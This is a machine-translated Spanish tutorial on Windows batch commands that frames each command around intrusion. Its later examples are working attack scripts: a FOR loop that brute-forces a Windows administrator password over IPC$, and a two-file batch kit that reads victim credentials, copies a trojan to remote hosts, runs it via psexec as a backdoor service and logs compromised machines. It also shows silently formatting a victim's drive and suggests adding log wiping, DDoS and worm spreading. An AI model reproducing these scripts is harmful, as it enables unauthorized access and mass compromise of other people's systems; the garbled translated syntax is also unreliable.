¿Cuáles son los comandos de procesamiento por lotes?
1.Comando de eco
Activa el eco o desactiva la función de solicitud de eco, o muestra un mensaje. Sin ningún parámetro, el comando echo muestra la configuración de eco actual.
Sintaxis
echo [{on|off}] [mensaje]
Muestra echo off / echo hello hello world
En la práctica En En la aplicación, combinaremos este comando con el símbolo de redirección (también llamado símbolo de barra vertical, generalmente > >> ^) para ingresar algunos comandos en un archivo en un formato específico. Esto se reflejará en ejemplos futuros.
2.@ comando
significa que el comando después de @ no se mostrará durante el proceso de intrusión (como el uso del procesamiento por lotes para formatear el disco duro del enemigo), naturalmente el otro. La parte no puede ver lo que usas.
Muestra: @echo off
@echo Ahora inicializando el programa, espere un minuto...
@format X: /q/u/autoset (El comando de formato no puede usar el parámetro /y. Afortunadamente, Microsoft nos dejó el parámetro autoset. El efecto es el mismo que /y.)
3. Especifique saltar a la etiqueta. Después de encontrar la etiqueta, el programa procesará el comando a partir de la siguiente línea.
Sintaxis: ir a etiqueta (la etiqueta es un parámetro que especifica la línea del programa por lotes que se redirigirá).
Ejemplo:
if {%1} = ={} goto noparms
if {%2}=={} goto noparms (Si no entiendes si, %1 y %2 aquí, salta primero, habrá una descripción detallada explicación más adelante)
@Rem verifica los parámetros si es nulo muestra el uso
:noparms
echo Uso: monitor.bat Número de puerto IP del servidor
goto end
El nombre de la etiqueta puede ser arbitrario, pero es mejor usar letras significativas. Agregue un: antes de la letra para indicar que la letra es una etiqueta. El comando goto se basa en esto: para encontrar el siguiente paso y saltar allí. Es mejor tener alguna explicación para que otros puedan entender su intención.
4.Comando Rem
El comando de comentario es equivalente a /*--------*/ en lenguaje C. No se ejecutará, solo iniciará un. El propósito de los comentarios es hacer que sea más fácil de leer para otros y para que usted pueda modificarlos en el futuro.
Mensaje de Rem
Ejemplo: @Rem Aquí está la descripción
5.Comando de pausa
Cuando se ejecuta el comando de pausa, aparece. Se mostrará el siguiente mensaje:
Presione cualquier tecla para continuar
Ejemplo:
@echo off
:begin.
copiar a:*.* d:\back
echo Por favor, coloque un disco nuevo en el controlador A
pausa
ir a comenzar
En este ejemplo, todos los archivos del disco en la unidad A se copian en d:\back. Mientras se muestra un comentario que le solicita que coloque otro disco en la unidad A, el comando de pausa hace que el programa se cuelgue para que pueda reemplazar el disco y luego presionar cualquier tecla para continuar con el procesamiento.
6.Llamar comando
Llama a un programa por lotes desde otro programa por lotes sin finalizar el programa por lotes principal. El comando de llamada acepta una etiqueta para usar como destino de la llamada. Si utiliza Llamar fuera de un script o archivo por lotes, no funcionará desde la línea de comando.
Sintaxis
llamar a [[Unidad:][Ruta] Nombre de archivo [BatchParameters]] [:label [argumentos]]
Parámetros
[Unidad:}[Ruta] Nombre de archivo
Especifica la ubicación y el nombre del programa por lotes que se llamará. El parámetro de nombre de archivo debe tener una extensión .bat o .cmd.
7.comando de inicio
Llamar a programas externos Todos los comandos de DOS y programas de línea de comandos se pueden llamar mediante el comando de inicio.
Parámetros comúnmente utilizados para intrusión:
MIN minimiza la ventana al iniciar
SEPARATE inicia un programa de Windows de 16 bits en un espacio separado
HIGH Inicia la aplicación en la clase de prioridad ALTA
REALTIME Inicia la aplicación en la clase de prioridad REALTIME
WAIT inicia la aplicación y espera a que finalice
parámetros Estos son los argumentos de transmisión del comando/programa
Cuando la aplicación ejecutada es una aplicación GUI de 32 bits, CMD.EXE regresa al símbolo del sistema sin esperar a que finalice la aplicación. Este nuevo comportamiento no ocurrirá si se ejecuta dentro de un script de comando.
8.comando de elección
elección Utilice este comando para permitir al usuario ingresar un carácter para ejecutar diferentes comandos. Al usarlo, debes agregar el parámetro /c: y escribir los caracteres que se pueden ingresar después de c:, sin espacios entre ellos. Su código de retorno es 1234...
Por ejemplo: elección /c:dme defrag,mem,end
Se mostrará
defrag,mem,end[ D ,M,E]?
Muestra:
El contenido de Sample.bat es el siguiente:
@echo off
elección /c: dme defrag,mem,end
if nivel de error 3 goto defrag (el código de error con el valor más alto debe juzgarse primero)
if nivel de error 2 goto mem
if nivel de error 1 ir al final
:defrag
c:\dos\defrag
ir al final
:mem
mem
goto end
:end
echo good bye
Después de ejecutar este archivo, desfragmente, mem,end[D, M,E]? El usuario puede seleccionar d m e, y luego la declaración if emitirá un juicio. d significa ejecutar el segmento del programa etiquetado como defrag, m representa la ejecución del segmento del programa etiquetado como mem y e representa la ejecución del. segmento de programa etiquetado como final. Cada programa Al final del segmento, ir al final se usa para saltar el programa a la etiqueta final, y luego el programa mostrará adiós y el archivo finalizará.
9.If comando
if significa que juzgará si se cumplen las condiciones especificadas y decidirá ejecutar diferentes comandos. Hay tres formatos:
1.if "parámetro" == comando "cadena" a ejecutar
Si el parámetro es igual a la cadena especificada, entonces la condición es verdadera y el comando se ejecuta; de lo contrario, ejecute la siguiente oración.
(Tenga en cuenta los dos signos iguales)
Por ejemplo, si "%1"=="a" da formato a:
if {%1}=={} goto noparms p >
if {%2}=={} ir a noparms
2. si existe el nombre del archivo comando a ejecutar
Si hay un archivo específico, la condición es verdadero, ejecute el comando; de lo contrario, ejecute la siguiente oración.
Si existe config.sys edite config.sys
3. if errorlevel / if not errorlevel número de comando a ejecutar
Si el código de retorno es igual a el número especificado, si la condición es verdadera, ejecute el comando; de lo contrario, ejecute la siguiente oración.
Por ejemplo, si el nivel de error 2 pasa a x2
Cuando se ejecuta un programa de DOS, devolverá un número a DOS, que se denomina nivel de error o código de retorno. 0 y 1.
10.comando for
El comando for es un comando relativamente complejo, que se utiliza principalmente para ejecutar comandos cíclicamente dentro de un rango específico de parámetros.
Cuando utilice el comando FOR en un archivo por lotes, utilice %%variable para especificar variables
para {%variable|%%variable} en (establecer) el comando do [CommandLineOptions]
%variable especifica un parámetro reemplazable de una sola letra.
(set) Especifica un archivo o un grupo de archivos. Se pueden utilizar caracteres comodín.
comando especifica el comando que se ejecutará para cada archivo.
command-parameters Especifica parámetros o modificadores de línea de comando para un comando específico.
Cuando utilice el comando FOR en un archivo por lotes, utilice %%variable
en lugar de %variable para especificar variables. Los nombres de las variables distinguen entre mayúsculas y minúsculas, por lo que %i es diferente de %I
Si las extensiones de comando están habilitadas, se admiten los siguientes formatos de comando FOR adicionales
:
FOR /D %variable IN (conjunto) DO comando [parámetros-comando]
Si el conjunto contiene comodines, la especificación coincide con el nombre del directorio, no con el nombre del archivo
.
FOR /R [[unidad:]ruta] %variable IN (establecer) DO comando [comando-
Compruebe el árbol de directorios con raíz en la ruta [unidad:], apuntando a cada
Instrucción FOR en un directorio. Si no se especifica ningún directorio después de /R, se utiliza el directorio
actual. Si el conjunto es solo un carácter de punto (.), se enumera el árbol de directorios.
FOR /L %variable IN (inicio,paso,fin) DO comando [command-para
Este conjunto representa una secuencia de números de principio a fin en forma incremental.
Por lo tanto, (1,1,5) producirá la secuencia 1 2 3 4 5, y (5,-1,1) producirá la secuencia
(5 4 3 2 1).
FOR /F ["opciones"] %variable IN (conjunto de archivos) comando DO
FOR /F ["opciones"] %variable IN ("cadena") comando DO
FOR /F ["opciones"] %variable IN (comando) DO comando
O, si la opción usebackq está presente:
FOR /F [" opciones" "] %variable IN (conjunto de archivos) comando DO
FOR /F ["opciones"] %variable IN ("cadena") comando DO
FOR /F [ "opciones" "] %variable IN (comando) DO comando
filenameset es uno o más nombres de archivo. Cada archivo se abre, lee y procesa antes de continuar con el
archivo siguiente en el conjunto de nombres de archivos.
El procesamiento implica leer el archivo, dividirlo en líneas de texto y luego analizar cada línea
en cero o más símbolos. Luego se llama al bucle For con el valor de la variable de cadena de símbolo encontrada
. De forma predeterminada, /F pasa el primer carácter de espacio en blanco que separa
en cada línea de cada archivo. Salta líneas en blanco. Puede anular la operación de análisis predeterminada especificando el parámetro opcional "opciones". Esta cadena entre comillas contiene una o más
palabras clave que especifican diferentes opciones de análisis. Estas palabras clave son:
eol=c - se refiere al final de un carácter de comentario de línea (solo uno)
skip=n - se refiere al número de líneas que se ignorarán al principio del archivo.
delims=xxx: se refiere al conjunto de delimitadores. Esto reemplaza el
delimitador predeterminado establecido para espacios y tabulaciones.
tokens=x,y,m-n: se refiere a qué token de cada fila se pasa a sí mismo para cada iteración
. Esto hace que los nombres de las variables adicionales tengan formato
como un rango. Especifique m con el enésimo símbolo
El último carácter de la cadena de símbolos, el asterisco,
Luego, las variables adicionales se asignarán después de que se resuelva el último símbolo
Acepta texto reservado para líneas.
usebackq: especifica que la nueva sintaxis debe usarse en las siguientes situaciones:
Al ejecutar una cadena entrecomillada como comando y
El carácter de comillas es un comando de cadena literal y permite el uso de comillas dobles en fi
para encerrar nombres de archivos.
muestra1:
FOR /F "eol=; tokens=2,3* delims=, " %i en (myfile.txt) do comando
Analizará cada línea en myfile.txt, ignorará aquellas líneas que comiencen con punto y coma y pasará el segundo y tercer símbolo de cada línea al cuerpo del programa; usará comas y/o
delimitador de espacio. Tenga en cuenta que la declaración en el cuerpo del programa hace referencia a %i para obtener el segundo símbolo, %j para obtener el tercer símbolo y %k para obtener el tercer símbolo. Todos los símbolos restantes después de los símbolos. Para nombres de archivos con espacios
debe encerrar el nombre del archivo entre comillas dobles. Para utilizar comillas dobles de esta manera, también debe utilizar la opción usebackq; de lo contrario, las comillas dobles se interpretarán como la definición de un carácter que se va a analizar como Cadena.
%i se especifica en una declaración for, y %j y %k se especifican mediante la opción
tokens=. Puede especificar hasta 26 símbolos en una línea tokens=
siempre que no intente declarar una variable mayor que la letra z o
Z. Recuerde, las variables FOR son de una sola letra, distinguen entre mayúsculas y minúsculas y son globales.
No se pueden utilizar más de 52 de ellas al mismo tiempo.
También puede utilizar la lógica de análisis FOR /F en cadenas adyacentes
encerrando el conjunto de nombres de archivos entre paréntesis entre comillas simples; De esta manera, la cadena
se tratará como una única línea de entrada en un archivo.
Finalmente, puedes usar el comando FOR /F para analizar la salida del comando. El método consiste en convertir el conjunto de nombres de archivo entre corchetes
en una cadena entre corchetes posteriores. La cadena
se tratará como una línea de comando y se pasará a un sub-CMD.EXE, y su salida se guardará en
la memoria y se analizará como un archivo. Por lo tanto, el siguiente ejemplo:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
enumerará las variables de entorno en el archivo actual nombre del entorno.
Además, se ha mejorado la sustitución de referencias de variables FOR. Ahora puede utilizar la siguiente
sintaxis de opción:
~I - eliminar las comillas ("), expandir %I
%~fI - expandir %I a un nombre de ruta completo
%~dI: expande %I solo a una letra de unidad
%~pI: expande %I solo a una ruta
% ~nI - Expande %I solo a un nombre de archivo
%~xI - Expande %I solo a una extensión de archivo
%~sI - La ruta expandida contiene solo un nombre corto
%~aI - Expande %I a los atributos del archivo
%~tI - Expande %I a la fecha/hora del archivo
%~zI - Expande %I al tamaño del archivo
%~$PATH:I: busque el directorio que figura en la variable de entorno PATH y expanda %I
al primer nombre completo encontrado. La variable de entorno
no está definida o el archivo no se encuentra, esta combinación de teclas expandirá la
cadena vacía
<. Los modificadores se pueden combinar para obtener múltiples. resultados:%~dpI - Expanda %I solo a una letra de unidad y ruta
%~nxI - Expanda %I solo a un nombre de archivo y extensión
%~fsI - solo expande %I a una ruta completa con un nombre corto
%~dp$PATH:i - busca las columnas enumeradas en la variable de entorno de ruta y expande %I a la primera letra de unidad y ruta encontrada
%~ftzaI - expanda %I al DIR de la línea de salida
En el ejemplo anterior, %I y PATH se pueden reemplazar por otros valores válidos %~.
Termine con un nombre de variable FOR válido. Elija un nombre de variable en mayúsculas como %I.
Es más fácil de leer y evita la confusión con combinaciones de teclas que no distinguen entre mayúsculas y minúsculas. >Lo anterior es la ayuda oficial de MS. Aquí damos algunos ejemplos para explicar específicamente el uso del comando For en intrusión
ejemplo2:
Usar el comando For. para descifrar la contraseña de fuerza bruta de un host Win2k objetivo
Usamos net use \\ip\. "contraseña" /u:"administrator" para intentar conectarnos al host objetivo y escribir la contraseña. contraseña cuando tenga éxito.
El comando más importante es: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
Usar i% para representar la contraseña de administrador en dict.txt, tome el valor de i% y use el comando net use para conectarse. Luego pase los resultados del programa en ejecución al comando de búsqueda -
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"| busque ":Comando completado exitosamente">>D:\ok.txt, esto está bien.
muestra3:
¿Alguna vez has tenido una gran cantidad de pollos de engorde esperando que les coloques puertas traseras y troyanos? , cuando el número es particularmente grande, algo que originalmente era muy feliz se vuelve muy deprimente :). El artículo comenzó hablando sobre el uso de archivos por lotes para simplificar tareas rutinarias o repetitivas. Entonces, ¿cómo lograrlo? Jaja, lo entenderás después de leerlo.
Solo hay un comando principal: (Cuando use el comando FOR en un archivo por lotes, use %%variable para especificar variables)
@for /f "tokens=1,2 ,3 delims= " %%i en (victim.txt) comienza a llamar a door.bat %%i %%j %%k
Para el uso de tokens, consulte el ejemplo 1 anterior, donde significa que en orden El contenido de victim.txt se pasa a los parámetros %i %j %k en door.bat.
cultivate.bat no es más que usar el comando net use para establecer una conexión IPC$, copiar el troyano + puerta trasera a la víctima y luego usar el código de retorno (si errorlever =) para filtrar los hosts que ha colocado con éxito la puerta trasera y hace eco o hace eco en el archivo especificado.
delims= significa que el contenido de vivtim.txt está separado por un espacio. Creo que después de ver esto, debes entender cómo es el contenido de victim.txt. Debe organizarse de acuerdo con los objetos representados por %%i %%j %%k, que suele ser el nombre de usuario de la contraseña de IP.
Prototipo de código:
--------------- corte aquí y luego guárdelo como un archivo por lotes (yo lo llamo main.bat) --- --------------------------
@echo apagado
@if "%1"= =" " ir a uso
@for /f "tokens=1,2,3 delims= " %%i en (victim.txt) comienza a llamar a IPChack.bat %%i %%j %% k
@goto end
:usage
@echo ejecuta este lote en dos modle.o simplemente haz doble clic en él
. :end
--------------- corte aquí y luego guárdelo como un archivo por lotes (yo lo llamo main.bat) ----------- --------------
------------------ corte aquí y luego guárdelo como un archivo por lotes (I llámalo puerta.bat) --------------------------
@net usa \\%1\ipc $ % 3 /u:"%2"
@if error nivel 1 goto falló
@echo Intentando establecer la conexión IPC$ …………OK
@ copiar windrv32.exe\\%1\admin$\system32 && si no nivel de error 1 eco IP %1 USUARIO %2 PWD %3 >>ko.txt
@p***ec \\ %1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && si no nivel de error 1 echo %1 Puerta trasera >>ko.txt
:failed
@echo Lo sentimos, no puedo conectarme con la víctima
----------------- corte aquí y luego guárdelo como. archivo por lotes (yo lo llamo puerta.bat) --------------------------------
Este es solo un prototipo de un proceso por lotes para instalar puertas traseras automáticamente. Los dos procesos por lotes y el programa de puerta trasera (Windrv32.exe), PSexec.exe, deben colocarse en el mismo directorio. El contenido del procesamiento por lotes puede. ampliarse, por ejemplo: agregue la función de borrar registros + DDOS, agregue la función de agregar usuarios periódicamente y profundice para que tenga una función de propagación automática (gusano).